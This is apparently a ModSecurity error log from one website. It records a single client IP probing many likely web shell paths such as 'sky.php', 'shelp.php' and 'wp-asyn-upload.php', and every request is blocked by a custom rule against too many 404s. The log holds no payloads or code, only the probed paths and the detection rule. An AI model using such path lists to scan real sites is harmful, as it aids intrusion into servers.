[Sun Apr 26 07:53:06.871908 2026] [:error] [pid 22573:tid 22624] [client 158.158.100.177:10361] [client 158.158.100.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/a1.php"] [unique_id "ae1T4nB3EmQlD4yKUt8pEwAAAZE"]
[Sun Apr 26 07:53:07.811043 2026] [:error] [pid 22573:tid 22617] [client 158.158.100.177:8456] [client 158.158.100.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/a1.php"] [unique_id "ae1T43B3EmQlD4yKUt8pFAAAAYo"]
[Sun Apr 26 07:53:08.498873 2026] [:error] [pid 22572:tid 22599] [client 158.158.100.177:8473] [client 158.158.100.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/a1.php"] [unique_id "ae1T5NXOViWCFU-pZzB5hwAAAVU"]
[Sun Apr 26 07:53:09.124117 2026] [:error] [pid 22573:tid 22613] [client 158.158.100.177:17310] [client 158.158.100.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ws37.php"] [unique_id "ae1T5XB3EmQlD4yKUt8pFQAAAYc"]
[Sun Apr 26 07:53:09.952689 2026] [:error] [pid 8385:tid 8429] [client 158.158.100.177:1297] [client 158.158.100.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ws37.php"] [unique_id "ae1T5TOy7_J84Wx3-ox1owAAAEU"]
[Sun Apr 26 07:53:10.647266 2026] [:error] [pid 22573:tid 22618] [client 158.158.100.177:20321] [client 158.158.100.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ws37.php"] [unique_id "ae1T5nB3EmQlD4yKUt8pGAAAAYs"]
[Sun Apr 26 07:53:11.569001 2026] [:error] [pid 8390:tid 8462] [client 158.158.100.177:1323] [client 158.158.100.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ws37.php"] [unique_id "ae1T54GPtFK_i9p5yxQwGgAAAIs"]
[Sun Apr 26 07:53:13.343674 2026] [:error] [pid 8390:tid 8470] [client 158.158.100.177:8486] [client 158.158.100.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sky.php"] [unique_id "ae1T6YGPtFK_i9p5yxQwHAAAAJM"]
[Sun Apr 26 07:53:14.897141 2026] [:error] [pid 22573:tid 22624] [client 158.158.100.177:8183] [client 158.158.100.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sky.php"] [unique_id "ae1T6nB3EmQlD4yKUt8pHwAAAZE"]
[Sun Apr 26 07:53:16.986295 2026] [:error] [pid 22573:tid 22612] [client 158.158.100.177:18658] [client 158.158.100.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sky.php"] [unique_id "ae1T7HB3EmQlD4yKUt8pLwAAAYY"]
[Sun Apr 26 07:53:18.740482 2026] [:error] [pid 13197:tid 13231] [client 158.158.100.177:8279] [client 158.158.100.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sky.php"] [unique_id "ae1T7t3kktFKdSxTrBuWMgAAAsA"]
[Sun Apr 26 07:53:19.803974 2026] [:error] [pid 13137:tid 13163] [client 158.158.100.177:29829] [client 158.158.100.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bojcdooq.php"] [unique_id "ae1T790RB4J0o4h5neHppgAAAhY"]
[Sun Apr 26 07:53:23.812464 2026] [:error] [pid 22572:tid 22601] [client 158.158.100.177:16107] [client 158.158.100.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bojcdooq.php"] [unique_id "ae1T89XOViWCFU-pZzB5sgAAAVc"]
[Sun Apr 26 07:53:25.761502 2026] [:error] [pid 8491:tid 8519] [client 158.158.100.177:1457] [client 158.158.100.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bojcdooq.php"] [unique_id "ae1T9Sq7I7e6CJooQM2t0QAAANQ"]
[Sun Apr 26 07:53:28.369195 2026] [:error] [pid 13137:tid 13159] [client 158.158.100.177:8182] [client 158.158.100.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bojcdooq.php"] [unique_id "ae1T-N0RB4J0o4h5neHpuwAAAhI"]
[Sun Apr 26 07:53:31.797047 2026] [:error] [pid 8390:tid 8457] [client 158.158.100.177:16104] [client 158.158.100.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/zdd.php"] [unique_id "ae1T-4GPtFK_i9p5yxQwIgAAAIY"]
[Sun Apr 26 07:53:37.343693 2026] [:error] [pid 13197:tid 13232] [client 158.158.100.177:1252] [client 158.158.100.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/zdd.php"] [unique_id "ae1UAd3kktFKdSxTrBuWNAAAAsE"]
[Sun Apr 26 07:53:47.160452 2026] [:error] [pid 22573:tid 22629] [client 158.158.100.177:12237] [client 158.158.100.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/133.php"] [unique_id "ae1UC3B3EmQlD4yKUt8pfAAAAZY"]
[Sun Apr 26 07:54:34.793860 2026] [:error] [pid 8491:tid 8509] [client 158.158.100.177:34352] [client 158.158.100.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/shorw.php"] [unique_id "ae1UOiq7I7e6CJooQM2t8wAAAMo"]
[Sun Apr 26 07:54:35.680966 2026] [:error] [pid 22573:tid 22616] [client 158.158.100.177:23488] [client 158.158.100.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/shorw.php"] [unique_id "ae1UO3B3EmQlD4yKUt8p3QAAAYk"]
[Sun Apr 26 07:54:37.884773 2026] [:error] [pid 22572:tid 22595] [client 158.158.100.177:9046] [client 158.158.100.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/shorw.php"] [unique_id "ae1UPdXOViWCFU-pZzB58wAAAVE"]
[Sun Apr 26 07:54:38.724869 2026] [:error] [pid 22572:tid 22582] [client 158.158.100.177:1246] [client 158.158.100.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/shorw.php"] [unique_id "ae1UPtXOViWCFU-pZzB59QAAAUQ"]
[Sun Apr 26 07:54:40.555698 2026] [:error] [pid 16515:tid 16537] [client 158.158.100.177:14782] [client 158.158.100.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/shelp.php"] [unique_id "ae1UQFtDrUmgHSvpuLzPQgAAAlM"]
[Sun Apr 26 07:54:41.716290 2026] [:error] [pid 13137:tid 13162] [client 158.158.100.177:53272] [client 158.158.100.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/shelp.php"] [unique_id "ae1UQd0RB4J0o4h5neHp8wAAAhU"]
[Sun Apr 26 07:54:42.787250 2026] [:error] [pid 22572:tid 22592] [client 158.158.100.177:34319] [client 158.158.100.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/shelp.php"] [unique_id "ae1UQtXOViWCFU-pZzB5-wAAAU4"]
[Sun Apr 26 07:54:44.848819 2026] [:error] [pid 16515:tid 16527] [client 158.158.100.177:23549] [client 158.158.100.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/shelp.php"] [unique_id "ae1URFtDrUmgHSvpuLzPRAAAAkk"]
[Sun Apr 26 07:54:52.400780 2026] [:error] [pid 13137:tid 13158] [client 158.158.100.177:8298] [client 158.158.100.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/seyv.php"] [unique_id "ae1UTN0RB4J0o4h5neHp-AAAAhE"]
[Sun Apr 26 07:54:56.371519 2026] [:error] [pid 16515:tid 16524] [client 158.158.100.177:14181] [client 158.158.100.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/seyv.php"] [unique_id "ae1UUFtDrUmgHSvpuLzPTgAAAkY"]
[Sun Apr 26 07:54:57.375773 2026] [:error] [pid 22572:tid 22588] [client 158.158.100.177:12257] [client 158.158.100.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/seyv.php"] [unique_id "ae1UUdXOViWCFU-pZzB6CwAAAUo"]
[Sun Apr 26 07:54:59.124314 2026] [:error] [pid 22573:tid 22623] [client 158.158.100.177:44356] [client 158.158.100.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/seyv.php"] [unique_id "ae1UU3B3EmQlD4yKUt8p4QAAAZA"]
[Sun Apr 26 07:55:01.340804 2026] [:error] [pid 22572:tid 22579] [client 158.158.100.177:1244] [client 158.158.100.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sad821.php"] [unique_id "ae1UVdXOViWCFU-pZzB6EQAAAUE"]
[Sun Apr 26 07:55:02.235683 2026] [:error] [pid 13197:tid 13236] [client 158.158.100.177:34364] [client 158.158.100.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sad821.php"] [unique_id "ae1UVt3kktFKdSxTrBuWVQAAAsU"]
[Sun Apr 26 07:55:04.567810 2026] [:error] [pid 8390:tid 8462] [client 158.158.100.177:8290] [client 158.158.100.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sad821.php"] [unique_id "ae1UWIGPtFK_i9p5yxQwcgAAAIs"]
[Sun Apr 26 07:55:06.415077 2026] [:error] [pid 22573:tid 22625] [client 158.158.100.177:44393] [client 158.158.100.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sad821.php"] [unique_id "ae1UWnB3EmQlD4yKUt8p6QAAAZI"]
[Sun Apr 26 07:55:08.131876 2026] [:error] [pid 22573:tid 22611] [client 158.158.100.177:24774] [client 158.158.100.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sad8210.php"] [unique_id "ae1UXHB3EmQlD4yKUt8p8QAAAYU"]
[Sun Apr 26 07:55:08.997406 2026] [:error] [pid 22573:tid 22607] [client 158.158.100.177:1237] [client 158.158.100.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sad8210.php"] [unique_id "ae1UXHB3EmQlD4yKUt8p9AAAAYE"]
[Sun Apr 26 07:55:10.216563 2026] [:error] [pid 8491:tid 8511] [client 158.158.100.177:23536] [client 158.158.100.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sad8210.php"] [unique_id "ae1UXiq7I7e6CJooQM2uBgAAAMw"]
[Sun Apr 26 07:55:12.167048 2026] [:error] [pid 22573:tid 22628] [client 158.158.100.177:8257] [client 158.158.100.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sad8210.php"] [unique_id "ae1UYHB3EmQlD4yKUt8p-QAAAZU"]
[Sun Apr 26 07:55:12.843596 2026] [:error] [pid 22573:tid 22627] [client 158.158.100.177:8265] [client 158.158.100.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sad8rd1.php"] [unique_id "ae1UYHB3EmQlD4yKUt8p-gAAAZQ"]
[Sun Apr 26 07:55:14.284327 2026] [:error] [pid 16515:tid 16534] [client 158.158.100.177:44391] [client 158.158.100.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sad8rd1.php"] [unique_id "ae1UYltDrUmgHSvpuLzPUgAAAlA"]
[Sun Apr 26 07:55:15.373035 2026] [:error] [pid 22573:tid 22619] [client 158.158.100.177:31154] [client 158.158.100.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sad8rd1.php"] [unique_id "ae1UY3B3EmQlD4yKUt8qBgAAAYw"]
[Sun Apr 26 07:55:16.569381 2026] [:error] [pid 22572:tid 22585] [client 158.158.100.177:14185] [client 158.158.100.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sad8rd1.php"] [unique_id "ae1UZNXOViWCFU-pZzB6HwAAAUc"]
[Sun Apr 26 07:55:18.179118 2026] [:error] [pid 22573:tid 22610] [client 158.158.100.177:31114] [client 158.158.100.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/saxzgf5.php"] [unique_id "ae1UZnB3EmQlD4yKUt8qDgAAAYQ"]
[Sun Apr 26 07:55:19.251646 2026] [:error] [pid 22573:tid 22617] [client 158.158.100.177:1222] [client 158.158.100.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/saxzgf5.php"] [unique_id "ae1UZ3B3EmQlD4yKUt8qEQAAAYo"]
[Sun Apr 26 07:55:24.910781 2026] [:error] [pid 16515:tid 16518] [client 158.158.100.177:8266] [client 158.158.100.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/saxzgf5.php"] [unique_id "ae1UbFtDrUmgHSvpuLzPWQAAAkA"]
[Sun Apr 26 07:55:29.334878 2026] [:error] [pid 8491:tid 8507] [client 158.158.100.177:24776] [client 158.158.100.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/saxzgf5.php"] [unique_id "ae1UcSq7I7e6CJooQM2uEQAAAMg"]
[Sun Apr 26 07:56:34.635889 2026] [:error] [pid 16515:tid 16535] [client 158.158.100.177:34317] [client 158.158.100.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-asyn-upload.php"] [unique_id "ae1UsltDrUmgHSvpuLzQBgAAAlE"]
[Sun Apr 26 07:56:36.805291 2026] [:error] [pid 13137:tid 13165] [client 158.158.100.177:9246] [client 158.158.100.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-asyn-upload.php"] [unique_id "ae1UtN0RB4J0o4h5neHqQwAAAhg"]
[Sun Apr 26 07:56:38.244742 2026] [:error] [pid 22573:tid 22616] [client 158.158.100.177:14188] [client 158.158.100.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-asyn-upload.php"] [unique_id "ae1UtnB3EmQlD4yKUt8qfQAAAYk"]
[Sun Apr 26 07:56:39.120525 2026] [:error] [pid 22573:tid 22613] [client 158.158.100.177:44380] [client 158.158.100.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-asyn-upload.php"] [unique_id "ae1Ut3B3EmQlD4yKUt8qgwAAAYc"]
[Sun Apr 26 07:56:40.204181 2026] [:error] [pid 22573:tid 22618] [client 158.158.100.177:24783] [client 158.158.100.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/redixsx.php"] [unique_id "ae1UuHB3EmQlD4yKUt8qhwAAAYs"]
[Sun Apr 26 07:56:41.770165 2026] [:error] [pid 22573:tid 22623] [client 158.158.100.177:14775] [client 158.158.100.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/redixsx.php"] [unique_id "ae1UuXB3EmQlD4yKUt8qkgAAAZA"]
[Sun Apr 26 07:56:45.533250 2026] [:error] [pid 22573:tid 22608] [client 158.158.100.177:31143] [client 158.158.100.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/redixsx.php"] [unique_id "ae1UvXB3EmQlD4yKUt8qoAAAAYI"]
[Sun Apr 26 07:56:47.253293 2026] [:error] [pid 22573:tid 22630] [client 158.158.100.177:23493] [client 158.158.100.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/redixsx.php"] [unique_id "ae1Uv3B3EmQlD4yKUt8qqQAAAZc"]
[Sun Apr 26 07:56:50.296977 2026] [:error] [pid 13137:tid 13148] [client 158.158.100.177:23542] [client 158.158.100.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/alpha.php"] [unique_id "ae1Uwt0RB4J0o4h5neHqTgAAAgg"]
[Sun Apr 26 07:56:52.254916 2026] [:error] [pid 8385:tid 8427] [client 158.158.100.177:14147] [client 158.158.100.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/alpha.php"] [unique_id "ae1UxDOy7_J84Wx3-ox2FQAAAEM"]
